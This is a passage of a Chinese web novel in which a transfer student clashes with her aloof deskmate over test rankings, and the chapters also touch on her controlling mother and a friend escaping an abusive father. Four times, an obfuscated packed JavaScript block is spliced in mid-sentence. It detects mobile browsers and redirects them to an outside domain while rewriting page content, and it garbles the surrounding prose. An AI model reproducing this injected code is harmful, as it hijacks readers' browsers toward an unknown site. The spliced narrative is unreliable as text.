趁赵言心还没来,她三下五除二解决完早餐,缓了一会儿又吃了感冒药,一上午脑子都好像置身于云端,轻飘飘的。 中午吃饭的时候,姜寐很自然地拉着傅云星过来和温知新一起坐。 “明天是社团日,你有参加什么社团吗?”姜寐问。 温知新摇头。 “你对小语种感兴趣吗?”姜寐兴致冲冲,“我和傅云星都选的西班牙语,你来和我们一起玩。” “我半路加进去会不会不太好?”温知新担心。 姜寐说:“不会的。”她拍拍傅云星的肩膀,“不会说话的还要呢。” 傅云星用手肘很轻地撞了一下姜寐,“我只去过一次,是你硬拉我去的。” 姜寐装傻:“是吗?不记得了。” 温知新笑:“好,我明天和你们一起去。” - 下午,祁昂退烧后来学校。 第一节课是自习,温知新早坐在了位置上,正在死磕一道物理电学题。 她听到后门响动,分了一个眼神看过去,祁昂单肩挎着背包走过来,身高腿长,几步路像是在走T台。 真帅。 “上午讲什么了?”祁昂越过温知新,直接拍了许妄的肩。 许妄没察觉到他们两个人之间不对劲的气氛,说:“英语和物理做了一套试卷,语文和生物试卷评析,我这次记笔记了你看吗?” 祁昂说:“信不过你。” 他在桌子上找到英语和物理的试卷,从头浏览了一遍,走笔龙蛇地写起来。 温知新的余光一直在盯着他,她不是傻子,怎么会感受不出来这么明晃晃的忽略。 不过她不在乎,看到祁昂在补作业时,温知新的第一反应居然是松了一口气。 你看,天才也要和她写一样的试卷。 四舍五入,她和他没什么区别。 但祁昂很快翻页,温知新对研究的那道高考真题还没有头绪。 她咬着笔帽,在草稿纸上写写算算停停,一节课很快过去。 铃声响起,还是没算出来。 烦人。 温知新看了一眼旁边气定神闲,和自己写到同一题的祁昂时,在心里骂了句脏话。 眼不见心不烦。 她起身,拿着题去找姜寐。 “怎么不问祁昂?”姜寐随口说,“他物理很好。” 温知新不想说自己是因为一些所谓的自尊心而不去问祁昂题的。 “他在生病,我怕他和我说话传染我。” 路过的许妄听完哈哈大笑,吓得姜寐拿书拍他。 许妄呲牙咧嘴威胁:“我要告状去。” 姜寐不以为意:“第一个传染你。” 温知新转着笔,心虚似的往祁昂那里看,不期然和他的目光撞在了一起。 她眨眼,迅速看向别处。 “这个傅云星刚给我讲过。”姜寐说,“我特别会。” 她撸起本来就不存在的袖子,“前面两问你都会吧,那我直接说第三问了。” “粒子靶在区域内的每一点,当电压从零开始连续缓慢增加时,粒子靶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15076201|163390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 均只能接收到n种能量的粒子。” “然后我们可以根据粒子在电场中的加速和磁场中的圆周运动,求粒子的能量与电压的关系,然后再求和的长度。” “懂了。”温知新说,“谢谢你。” “没事,客官下次再来。”姜寐潇洒一笑,又逗傅云星说话去了。 温知新笑笑,回到了自己座位。 然后她发现祁昂戴上了口罩。 黑色口罩遮住他的下半张脸,只露出了一双漂亮又冷淡的眼睛,还有一小段高挺的鼻梁。 只是一个没露完整的侧脸,就已经帅到人神共愤了。 温知新忽然理解那些为祁昂前仆后继的追求者。 虽然装,但确实帅。 “好看吗?”祁昂突然出声。 温知新下意识点点头,“你以后能一直带着口罩吗?” “……” “哈哈哈哈哈哈哈哈!” 好消息:她和祁昂说了做同桌以后的第二句话。 坏消息:祁昂可能以后都不想和她说话了。 温知新眨了下亮晶晶的眼睛,脚尖一转,连草稿纸和笔都没放下,直接走去教室外面转了一圈。 关上门的时候还能听见许妄的声音:“阿祁,你居然还有今天!” 昨晚下的雨早就被今天的烈日蒸发干净了,阳光毫无保留地铺满整个走廊。 温知新从北方来,之前没见过这种未封闭的走廊,她靠着栏杆,无目的往下看。 操场上有打篮球的学生,有个男生下场掀起衣服擦汗,露出腹部,不知道有没有腹肌。 不过凭现场传来的一阵声浪,温知新想,应该是有的。 这里一切都和云宁不一样。 但这些不一样也还挺不错的。 教室外面的墙上挂着一块小黑板,温知新前几天就注意到了。 黑板上会写着一道数学竞赛题,下面卡槽里有粉笔。 谁会做谁就写上去。 前几次的题都是被祁昂解开的,但今天的题目还空着。 温知新来了兴致,立刻拿笔算起来。 虽说她的高分是靠大量刷题堆上去的,但在数学上却真的有些天赋。 没有多到瞩目,参加竞赛也只拿到银奖。 但是偏偏又有,偶尔降临的灵机一动会让她解开很多别人都束手无策的难题。 黑板上的竞赛题算其中一道。 温知新挑了一根黄色的粉笔,写下完整的解题步骤。 右下角留了一小块用来署名的地方,温知新想了想,写了个“ww”。 - 晚修周测。 温知新不解:“星期四周测吗?” 许妄:“明天大家都盼着放假了,谁有心思写题啊。” 温知新觉得有道理。 桌子拉开,六科六张试卷,一共三小时,满分三百六十分。 全写完就交卷走人。 温知新还是第一次这样考试,新奇的情绪大过其他。 她按照语数英物化生的顺序,依次开始写。 题量偏多,难度偏高。 在她刚写完化学的时候,祁昂起身,把六张试卷分门别类交到了讲台上。 祁昂回座位收拾书包等许妄,挑衅似的看了温知新一眼。 “?” “!” 温知新火一下就窜上来了,脑子飞速转,手里的笔飞速写。 第二个交了试卷。 她没有要等的人,交完卷子后就从前门离开,走之前不忘再瞪一眼祁昂。 5. 夸赞 高二在第四教学楼,一层中厅有一面荣誉墙,上面贴着每次大型考试第一名的照片。 从一排一行起,墙上就一直是同一个男生。 乌黑的短发下眉目清朗,薄唇平直,冷冷淡淡的目视前方。 直到三行五排,这场连连看才被一个鹅蛋脸,小鹿眼的女生打破。 在男生的面无表情的冷脸之后,她带着乖巧的笑,高马尾荡在脑后,蓬勃的青春仿佛要溢出来。 许妄人未来声先到,“一层荣誉榜更新了!你们看到没有?” “看到了,一模一样的照片里刷新出来一张不一样的,好像bug。”姜寐说。 “真帅啊。”许妄说,“知新从哪家照相馆拍的照片,我下次也去那里拍。” “就是学校组织的一起拍的。”温知新刚从外面回来,她去卫生间洗了把脸,发丝还沾着水滴,清爽感扑面而来。 姜寐笑:“人逊的话,神笔马良给你拍也没有用。” “神笔马良是画画的。”许妄呛她,“到底是谁逊,大小姐。” “嘭——” 是前排一个扎马尾女生的书本砸到地上的声音。 刚巧温知新走到那里,她顿了一下,俯身去帮忙捡散落一地的书。 但那个女生的动作更快,噌噌噌几下把书全都捡起来,重新摆好到桌子上。 温知新眨眨眼,直起身,没受影响地笑着帮她扶正书立。 - “昨天黑板上那道竞赛题是谁做出来的?。”张老师说,“不留名字就算了,还卖萌,画个小猫嘴巴。” 温知新:“……” 她慢吞吞举手,“老师,是两个W,不是小猫嘴巴。” 张老师没反应过来的“啊”一声,一个年过半百的中老年男人,顶着地中海的发型,真心实意地感到疑惑。 班里瞬间爆炸笑起来。 三十多个人的声音快掀翻屋顶。 “你怎么不写自己的名字?”张老师问。 温知新很理所当然:“怕写错答案。” “错了又怎么样,我还能骂你吗?”张老师说,“下课来我办公室一趟。” “好的。” 祁昂也看到了昨晚那道竞赛题,难度偏高,他本来打算晚修的时候好好算一下的,但是吃完晚饭回来后就看见上面完全正确的解题步骤。 还有右下角那个令人忍俊不禁的ww,确实很像小猫嘴巴。 “你全做对了。”祁昂说,声音冷冷淡淡,视线没从桌上的习题册上离开,“没看出来你挺厉害的。” 温知新暗暗冷哼,心说我要你肯定吗,自大狂。 她笑容淡淡,回击道:“可能因为你从来不会正眼看人吧。” “……” 祁昂脸色白白又红红,但因为戴着黑色口罩,所以温知新看不见。 她只为自己将这几天受到的忽略与挑衅反击回去而感到开心。 下课温知新去找张老师。 意料之中地听到劝自己参加数竞小组的话。 张老师说:“你是有天赋的,知新。” 温知新微微低着头,盯着脚尖,问张老师:“比祁昂还有天赋吗?” 张老师愕然,完全没想过温知新会这么问。 “我在来宜安之前也是竞赛生,两年都是银牌,没能保送到江大。”温知新说,“我觉得还是高考这条路更适合自己。” 马上五月份,距离升高三也没剩多少天,每个人都应该做出更有把握的选择。 “我明白了,你是想要考江大哪个专业呢?”张老师问,“我也是江大毕业的,可以给你一些小建议。” “江大计算机。” “你喜欢计算机?” 温知新没回答。 在这种所谓人生大事面前,她自己的喜好完全不重要。 温倩喜欢,温倩觉得好,那么温知新就要做到。 “现在还有时间,好好想想自己真正喜欢什么,那样努力起来会更有动力。”张老师说。 温知新说:“我知道了,谢谢老师。” 张老师把昨晚周测的试卷递给她,“拿下去发一下吧,明天我讲。” 温知新说:“好。” 她出去,刚好另一个女生进来。 温知新认得她。 叫舒格。 如果说祁昂做了两年第一,那么舒格就做了两年第二。 这种很微妙的平衡直到温知新的到来而被打破,第一成了第二,第二又成了第三。 温知新和她匆匆对视,又匆匆错开视线。 两人擦肩而过。 阳光刺过教学楼旁的枫树,落下一地灿烂摇曳。 三十六张试卷叠在还没有一根小拇指高,温知新松松抓在手里。 走廊里追逐打闹的男同学没注意到她,直接撞了过来,之后也没有道歉,嘻嘻哈哈地跑开了。 温知新吃痛,几十张试卷散落一地。 “有病。”温知新声音不大不小地骂了一句,她想追上去要人道歉,但又要捡试卷,一来一回,男生早就没影了。 温知新蹲下去捡试卷,把它们拢到一起,还有几张漏网之鱼飘到了远一些的地方。 一只宽大又骨节分明的手将剩下几张试卷递到她面前。 “谢谢。”温知新仰头,刚好夏日独有的厚重的风吹过来,祁昂身上的深绿色校服与绿意盎然的景色完美融合在一起。 她看到细碎的光斑落到祁昂的眼睛上,他的左眼下面有一颗小小的痣。 祁昂没说话,帮温知新捡完试卷后就走了。 “怎么奇奇怪怪的。”温知新疑惑。 她还没记完班里的人名,所以发卷子这件事被许妄接了过去。 “这次题特别简单吗?”许妄说,“昨晚上考完整个年级不是都在骂张老师出题不顾学生死活吗?” 姜寐说:“就是很难,最难的一次周考。” 得到附和的许妄瞬间有了底气,提高嗓门道:“但是我们班有三个满分!” “谁啊谁啊?” “还用说吗,阿祁,舒格,知新。” “有时候真想把他们三个的脑袋撬开看看里面装了什么,怎么这么厉害。” 温知新笑,俏皮地眨眨眼,“一些诸位强求不来的好运气。” “好装啊。” “这能忍?” “制裁她!” 一圈人蜂拥而上,围着温知新挠她痒痒,姜寐打在最前头,一面护着她,一面捏她的脸颊。 - “换同桌?”赵言心惊讶,“为什么,你和知新闹矛盾了?” 祁昂一本正经:“没有,只是我觉得我们两个人的性格很不合。” 他双手插在口袋里,已经初见成人体态,瘦但不羸弱,眉眼间全是意气风发。 但说破天也还是十几岁的少年。 他别别扭扭,支支吾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15076202|163390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吾,语焉不详。 最后只说:“我们两个人理念不同,我不是特别喜欢她。” 赵言心确认:“没有矛盾,只是性格不合,理念不同,是吗?” 祁昂点头。 “行,我知道了,我会看着再调一调座位的。”赵言心说,“今天你们是不是社团活动日?” 祁昂点头。 “让秦悦欣在那个时间里来找我一下。”赵言心说,“你先回去吧。” 听到秦悦欣的名字,祁昂神色微动。 他状似随意问:“是要说贫困生的事情吗?” 赵言心在翻办公桌上的资料,闻言说:“差不多吧,你记得让她来。” 祁昂说:“好。” 前几天他帮赵言心整理贫困生名单,发现了温知新的名字,但总数没变。 他以为是自己漏掉了哪位同学,于是又查了两遍:多了温知新,但少了秦悦欣。 祁昂和秦悦欣是初中同学,没说过很多话,关系不远不近。 他知道对方家境不太好,而且明明学期初整理贫困生名单时还有她的名字,这次却没了,还偏偏多了温知新的。 再之后他被表哥祁正拉去夜色庆生,在那里碰见温知新。 他们班新来的转学生,一个领着贫困生补助的高中生,喝着价值不菲的鸡尾酒,在声浪滔天的摇滚乐里和服务生低声耳语。 后面的事情就更魔幻,他和温知新做了同桌,两个人加起来没说够五句话。 他不会在背后评判人,但他也有自己的是非交友观,他很难不去猜测什么,也很难喜欢温知新。 这个课间比较长,祁昂去了趟超市,打算买瓶冰水。 结账时收银员扫了三瓶。 收银员道歉:“不好意思,你前面几个人都马买了三瓶,我下意识以为你也是,我稍等,我重新给你扫。” 祁昂说:“不用改了,就三瓶吧。” 于是他就捧着三瓶冰水回了教室。 还没走到位置上,许妄就扑了上来,“你真是料事如神,怎么知道咱们教学楼停水停电了?” 祁昂说:“我不知道。” “无所谓无所谓,快赐给我一瓶吧。”许妄说,“渴死了。” 祁昂把其中一瓶塞进许妄怀里。 还剩两瓶。 温知新也注意到他回来,不动声色地把自己空空如也的水杯挪到了靠进窗户的那一侧,然后接着写题。 祁昂看到了,温知新知道他看到了。 因为就在她欲盖弥彰挪动水杯的下一秒,祁昂把第二瓶水送了出去。 给了她的前桌——许妄。 许妄才仰着脖子喝完半瓶,这会儿手里有多一瓶,他愣了一愣,没反应过来,“刚才不是给我了吗?” “买多了。”祁昂言简意赅。 “噢,但我喝不下了呀。”许妄说,“知新,你要不要?” 这时候再看不出来祁昂针对自己的话,温知新就是傻子。 她摇头,说:“不用了,谢谢。” 下一秒一瓶冰凉的矿泉水瓶就被贴到她被汗打湿的额头上,温知新就着握笔做题的姿势转头,看见姜寐得逞的笑。 身后还跟着幽魂傅云星,怀里还抱着四瓶水。 “凉不凉快?”姜寐笑嘻嘻,“给你一瓶,我们买了好多。” “谢谢。” “哎呀,客气~”姜寐摆手,带着傅云星回座位普度世人去了。 6. 停电 下午社团日。 西语占用的教室是高一文四班。 温知新和姜寐去的有些早,其他人还没来,空荡的教室只有一个本班学生,蹲在桌洞前找东西。 他把一堆又一堆的书搬到地上,每本都仔细翻了一遍,终于在第五本书的内页里找到了一张手绘地图。 男生喜出望外,把地图放到凳子上,接着又将搬下来的书全部塞进桌洞。 米色窗帘柔和了阳光,教室里一片明亮,窗户大开,燥热的风闯进来,掀翻凳子上的纸。 绘着整个世界的地图在空中打了几个圈,最后降落到温知新的手里。 分毫不差,稳稳当当地被温知新接住。 “同学,你的地图。”温知新轻声喊他,晃了晃手中的纸。 男生抓紧跑过来,有些羞怯地说:“谢谢。” “不客气。”温知新笑,“它自己飞到我手里的。” 其他来上西语课的学生们陆陆续续都到了,温知新和姜寐找了个不前不后的位置坐下。 男生捧着那张世界地图一步三回头地离开教室。 “宋嘉平,你怎么还在这里,马上上课了,傻乐什么呢?” 男生后知后觉笑起来,“这地图好像真的能指明方向。” 好友拉着他往旅游地理的教室走,“你说什么胡话呢,这是世界地图,比例尺是1:330000000,能指引个屁方向啊。” - 高一教学楼旁边是体育馆。 祁昂和傅云星选的网球,许妄选的排球。 都在二层,但是没挨着,中间还隔着一个乒乓球馆。 傅云星和除姜寐以外的人没话聊,祁昂也不爱说话,所以两个人一组打网球时,只有球拍划过空气和击球的声音。 对比其他组,他们简直安静的可怕。 傅云星不知道祁昂今天为什么这么大火气,招招毙命,好像每一次挥拍都抱着把他弄死的决心。 “你休息一下。”傅云星放下球拍,说的是让祁昂休息,其实是他自己不想打了。 傅云星走到一旁喝水。 祁昂也顺势坐到傅云星身边,嘴唇张张合合,欲言又止好几次,连傅云星都看出来他在纠结了。 “你有心事。” 祁昂“嗯”了一声,他仰头灌了一大口水,把额前的碎发全拢到脑后,露出完整清朗的一张脸。 网球馆中鞋底和地面的摩擦声不断,扰的他心烦。 冰凉的液体滑过喉咙进到胃里,稍微让他冷静了一些。 祁昂说,“还继续打吗?” 傅云星看着他,确认道:“你的心事解决了吗?” “我不知道。” “那不打了。”傅云星不想被爆杀。 不打就不打吧,祁昂双臂交叠垫在脑后,枕着墙壁发呆。 等许妄结束,一起去食堂吃晚饭。 一张餐桌能坐下六个人,傅云星许妄和祁昂坐在左侧。 温知新被姜寐带到这张即将满员的餐桌前,目光坦坦荡荡地看向祁昂。 细眉微挑,用挑衅来回应对方这份没来由的针对。 温知新不是那种因为害怕冲突而选择回避矛盾的人,所以她把餐盘稳稳当当放到祁昂对面,面带微笑,坐了下去。 许妄坐在中间,对面是姜寐,旁边是傅云星。 他对着姜寐大吐苦水:“我和傅云星在物竞组,有一次我考的特别特别差,我都哭了,结果傅云星看了我很久,说:你哭完记得做今天竞赛作业。” “没有安慰!没有同情!人类怎么可以冷漠到这个程度!” 傅云星夹一筷子豆花牛柳,面无表情嚼完,然后说:“你也没有写完那次的作业。” “……” 一桌人笑得乐不可支。 温知新也笑,亮晶晶的眼睛眯起来,视线不小心碰到祁昂,对方的脸上也挂着淡淡的笑。 对视的瞬间,两个人就整齐划一的低头吃饭。 温知新还是不太能吃辣,一筷子菜要配上一大口米饭。 “哎知新,我们是不是还没有联系方式?你在班级群吗?”许妄问。 温知新摇头:“群里那个是我妈妈,我没在,你们可以把联系方式写给我,我回去加你们。” 晚修的时候,温知新桌上多了好几张便签纸,和一张成绩条。 便签纸上写的是大家的Q|Q号和微信号,成绩条是昨晚周测的排名。 班级第二,年级第二。 温知新盯着那张成绩条看了很久,随后很平静地将它揉成一个团丢进了垃圾桶里。 - 回出租屋的一段路的路灯今天突然坏掉了。 温知新按住刹车,停在了那片漆黑之前。 她怕黑。 原因可以追溯到七岁,那年温知新住在乡下,姥姥偶尔会在麻友那里通宵打麻将,温知新就自己回家。 村里没路灯,全靠一轮悬在天边的圆月照亮那段不长不短的路。 风吹草丛,呜呜的声音声像人发出来的又像野兽发出来的,好像阴森森地蛰伏在温知新身边。 一个不知道从哪里闪出来的醉汉,拎着酒瓶子,摇摇晃晃就往温知新这边追来。 温知新怕死了,掐着手心加速往家里跑,但她到底是个小孩,跑不过腿长手长的中年男性。 T恤领子被抓住,醉汉把酒瓶丢到一边,将温知新甩到地上,她一面不得章法地踹醉汉,一面扯着嗓子就开始喊。 村里的狗被吵醒,一呼百应地汪汪汪叫起来,引来大人们出门查看。 姥姥也急急忙忙追出来,一面喊“小温温”一面往家的方向赶。 温知新被一个叔叔从醉汉手里救下来,姥姥也匆匆赶到,紧绷的弦终于崩掉,温知新抱着回家的姥姥大哭,从此对黑暗留下了不可磨灭的阴影。 身边有学生骑着自行车飞驰而过,风扬起校服衣摆,薰衣草的味道溢出在空气里。 温知新看着那一闪而过的侧脸,觉得味道有些熟悉。 但她现在没心思去想那是谁了,她握着车把暗暗给自己加油打气。 物理化学都能做的下去,摸黑骑车又算得了什么。 也不能哪里都有坏人吧。 温知新深呼吸,正要踩下脚踏板时,发现刚才那个人去而折返。 她撑着自行车,站在最后一点光里,看着男生的眉眼逐渐清晰,乌黑短发,丹凤眼,睫毛短密,很帅,很冷。 “走不走?”祁昂问。 温知新莫名:“和你有什么关系?” 祁昂掉头就要走:“那你在这里待一整晚。” “……” “你怎么会在这里?”温知新骑车跟上去。 祁昂说:“路过。” “你和许妄都往西走,这是东。”温知新说,“我很傻吗?” 祁昂反问:“你怎么知道我往哪里走?” “许妄说的。不然你以为,我悄悄观察你,跟踪你?” 祁昂冷哼一声。 温知新觉得这人真的是奇怪。你说他喜欢她吧,明眼人都能看出来他干的那些事都在针对她;你说他讨厌她吧,偏偏又在细枝末节处出手相助。 怎么有这么矛盾的人,她完全看不透他。 她最讨厌这种好像置身浓雾之间的看不透,看不透的物理化学很讨厌,看不透的祁昂也很讨厌。 黑暗里只剩下猎猎风声,祁昂始终领先温知新半个车轮。 一直到小区门口,路仍然黑着,只是没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15076203|163390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有了高大树木的遮挡,月光如薄纱般铺下来。 祁昂刹车侧身,白色球鞋踩在水泥地,英挺的侧脸沁润着月色,清寒冷然。 帅的有些惊心动魄。 “能自己回家吗?”祁昂问。 “所以你是觉得我没办法自己一个人回家才陪我一起的吗?”温知新问。 “你比许妄还自恋。”祁昂冷嗤一声,“我就住这里。” “之前没见过你。” “今天才过来。”祁昂理所当然,“就看见你在路口请大神。” “……为你超度呢我。” “……” 不管是顺路还是有意为之,总之祁昂送自己回了小区,温知新觉得还是要缓和一下气氛:“以后都住这儿吗?” 祁昂勾勾嘴角,“和你有什么关系?” “问清楚之后,我好半路埋伏你。”温知新哼一声,车把一拐,走了。 结果楼道的灯也不亮。 凭心而论,漆黑的楼道比漆黑的公路恐怖多了。 小时候被人追的恐惧感重新漫上来,温知新掐着手心,定了定心神。 繁华都市,法治社会,不会有人尾随的。 温知新鼓励自己,深呼吸踏出一步,刚踩上台阶,一道光就从她身后打来,照亮了前面的路。 温知新吓了一跳,心说不会真有人尾随吧。 她小心翼翼转身,只能看见一个高瘦的人形,五官隐藏在光晕之外,分辨不清。 “走吧,胆小鬼。” 是祁昂。 温知新一颗悬起来的心落回原地,比起尾随猥琐男,祁昂只是说话难听,到处针对她而已。 “很奇怪。”在寂静的楼道里,温知新忽然开口说话,“我一点儿都看不明白你。” 在温知新的性格组成中,打破砂锅问到底占很大一部分因素。 在她看来,讨厌和喜欢应该事出有因,而针对这种情绪做出的反应也理应截然不同。 但祁昂太怪了。 好像有两种认知在他的脑中博弈,一个说温知新不值得做朋友,一个说即使这样你也要帮帮她呀。 祁昂起初沉默,沉默着举着手机,沉默着为温知新铺开一条满是光亮的路。 直到温知新停在出租屋门口,在口袋里找大门钥匙,艰难地对准钥匙扣时,才慢慢开口:“我也看不明白。” 温知新听不懂,反而更糊涂了。 “但是,还是谢谢你送我回家。” 祁昂闷闷地“嗯”了一声,噔噔噔转身下了楼。 温知新纳闷地嘀嘀咕咕了两句,开门进屋。 晚上和方灿打电话说起这件事的语气更是十分不解:“先是把我当空气,一起吃饭的时候装看不见我,做同桌的时候好像我不存在,今天学校停电停水,他看到我水杯空了之后把两瓶水全给了一个人。” “我没有想喝他水,我只是觉得他特别针对我。如果真的就是看不惯我,我也认了,但是今天晚上放学,从学校到出租屋这条路特别黑,我根本不敢走,他就陪我一起回来。” “我真的不明白他在想什么。” 方灿说:“会不会是想故意引起你的注意?就像小学的时候,有的男生会故意拽喜欢女孩儿的辫子。” 温知新否认:“不会,你见着他那张脸就知道了,帅是帅,但是天天绷着,好像有人欠他八百万不还一样。” 只听温知新一面之词,方灿也总结不出来原因,“那我也不知道了。” “烦死了,以后他就算理我,我也不理他了。”温知新说。 方灿最了解她是什么人,嘴硬心软,哼哼笑着,说:“我才不信。” “哎呀,再说吧。”温知新破罐子破摔,“估计他也不会主动理我。” 7. 圣人 挂掉和方灿的通话,温知新又写了会儿题,十点钟的时候接通温倩打来的视频。 温倩开门见山:“在干什么?” “写物理。”温知新举着手机给她看了一眼,又说:“我收到了快递信息,明天去拿监控。” “好,放到你的书桌上,确保我能看到你。” “知道。” “又考试了吗?”温倩问。 温知新想到那张已经被自己丢进垃圾桶的成绩条,“没有,下周月考。” “好好准备。”温倩说,“听你们老师说你选好了社团,今天还去参加了活动。” “嗯。”指甲敲着笔帽,温知新能猜到温倩想说什么。 “你马上高三,应该明白应该把重心放在哪里,你离江大计算机还差十几分。” 温知新反问温倩:“妈妈,我不可以有自己喜欢的东西吗?” 温倩的反应也比想象中的要平静,“可以,但不是现在,你要拎得清,月考不要退步,完成任务早点睡觉。” “知道了,你也早点休息,再见妈妈。”温知新挂掉电话。 物理32套密卷下面压着这次周考的试卷。 满分60,她拿了48。 错题已经用红笔订正完了,试卷空白处被她画满了小物块的运动轨迹。 电场磁场,做功不做功,摩擦力洛伦兹力…… 温知新感到烦躁,把笔丢到一旁,拿过手机先把便利贴上写的联系方式全部加上。 姜寐、许妄、傅云星。 所有便签纸都看了一遍,没有祁昂的。 忽视她,冷落她,联系方式也不给她,可是又陪她一起回家。 他到底想干什么? 温知新真想把祁昂丢进磁场里看看做不做功。 等姜寐他们都通过好友申请之后,手机叮叮当当热闹了好一阵。 正男也发来信息,问温知新明天有没有时间,他写了一些东西想拜托她帮自己投到杂志社去。 温故而知新:【我明天晚上去夜色找你】 正男:【明晚我不在夜色,在昌福会做保安】 温知新不认识这是什么地方,让正男给自己发了更具体的地址,查了之后发现是一家高档会所,离夜色很远,在它的对角线上。 温故而知新:【换工作了吗?】 正男:【嗯,他找到我了,我就跑路了】 他,就是正男的亲爹,家暴酗酒赌博,什么都干。 温知新记得第一次遇到正男的时候,他正蹲在酒吧后门的垃圾桶旁边,往自己伤口上倒酒精消毒,疼得呲牙咧嘴。 温知新给他买了绷带和消炎药,问他叫什么。 正男说自己没名字。 真能瞎扯,温知新当时想。 后来她才明白为什么正男对自己的名字严防死守,因为他爹会四处打听来找他。 逼他回去,任打任骂。 温故而知新:【他没把你怎么样吧?】 正男:【打了我一顿,我趁他不注意又跑了】 正男:【航姐给我结了工资,昌福会包吃住我就来了】 温故而知新:【你明天什么时候有空?】 正男:【我晚上九点下班,你可以那时候来吗?】 温故而知新:【好】 - 四月底,天气已经很热,空气好像凝固住一样。 温知新的房间里没有空调,只有一台立式风扇嗡嗡作响。 温知新白天呆在家里写题。 早上写完学校布置的作业,上午做了两套物理试卷,下午整理错题。 吃过晚饭后,她在小区里面转了一圈,发现好几只流浪小猫。 温知新蹲下身,嘴里“喵喵喵”着,揉了一通小猫咪们的脑袋。 “哎呀哎呀,我找时间带你们去检查一下身体好不好?带你们去绝育。”温知新细声软语。 小猫咪听不懂人类话,它们围在温知新脚边蹭来蹭去,喵来喵去。 楼道的灯今天就好了,可能是昨晚停电,所以昨天这一片才会全黑。 温知新只拿了一只手机就去昌福会找正男。 她穿着粉色无袖上衣,下身配了一条牛仔短裤,头发扎成了丸子头,青春又靓丽。 昌福会是宜安很著名的一家会所。 会员制,预约制。 门外豪车遍布,但温知新只认识那么几个普世意义的名牌,其余的车标都陌生的很。 她到的时候,正男还在交班,发信息来让温知新等自己五分钟。 温知新就倚在会所大门旁边的墙休息,视线追着豪车跑。 这辆看起来很贵;这辆没上一辆好看;这辆车的车牌是安A88888,车主一定有钱…… “小姐。”一个穿着黑色西装,耳朵里塞着黑色耳机的背头男人走过来,“请问您有预约吗?” 温知新看了看周围,确定他是在和自己讲话,回答:“我没有要进去。” “但是您在门口站着,有些妨碍到我们客人的进出了。” “?”温知新又看了一眼周围,确定自己距离他们会所大门还有十几米,反问他:“我妨碍到你们客人进出了?” “是的,小姐。”男人说,“如果没有预约的话,请您另寻他处去站着,您站在这里会拉低我们会所的档次。” 很有礼貌的阴阳怪气。 翻译一下就是:穷鬼滚蛋。 温知新外表安静乖巧,实际心里住着弹簧,谁让她不舒服了,她就要说回去。 她抱臂:“我站的比你还远,你都不妨碍的话,我会妨碍吗?” 男人被她噎住,脸色一阵白一阵青。 他是新上任的经理,本来想借这个小姑娘树立自己的威严,没想到却招惹到硬茬了。 “小姐,请您讲道理。” “是您先不讲道理的,先生。”温知新声音清脆,态度不卑不亢,“您连基本的尊重都没有,您才拉低了这个会所的档次。” 两个人大眼瞪小眼,“您”来“您”去,互不让步。 “艾迪,吵什么呢?”另一个西装男走过来,看起来比这个背头年轻,但是气场更强。 “祁总。”被称作艾迪的男人迅速紧握双手,低头问好,“因为这位小姐有些妨碍到我们会员进出,所以我想请她离开,但是……” “我知道了。”这位祁总挥手打断艾迪,他双手插兜,笑容灿烂但是未达眼底,“不好意思小姐,艾迪是新来的经理,太想做好自己的工作了,如果冒犯到你,我代他向你道歉。” “艾迪。”他转头吩咐,“给这位小姐一张我的名片,想来我们会所玩的话,给我发消息就可以。” “祝你有个愉快的夜晚。”祁总笑了一下,走进会所。 艾迪亦步亦趋跟在他身后,神情忐忑,擦了擦脸上的汗。 装模作样的有钱人派头。 温知新看都没看那张名片,直接塞进了短裤口袋里,打算待会儿找个垃圾桶丢掉。 “小新!” 正男从会所出来,左右看了一圈才找到温知新,他抓紧跑过去。 “你久等了,交班换衣服拿东西花了一些时间。” 正男比温知新高十公分左右,不算好看,青皮寸头显得戾气有些重。 脱下西装穿回自己的短袖之后,胳膊上被打出来的淤青触目惊心。 温知新问:“你就任由他打你吗?” “我把他打的更惨。”正男绷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15076204|163390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧手臂肌肉给温知新看,“我练得很不错,他不是我的对手。” 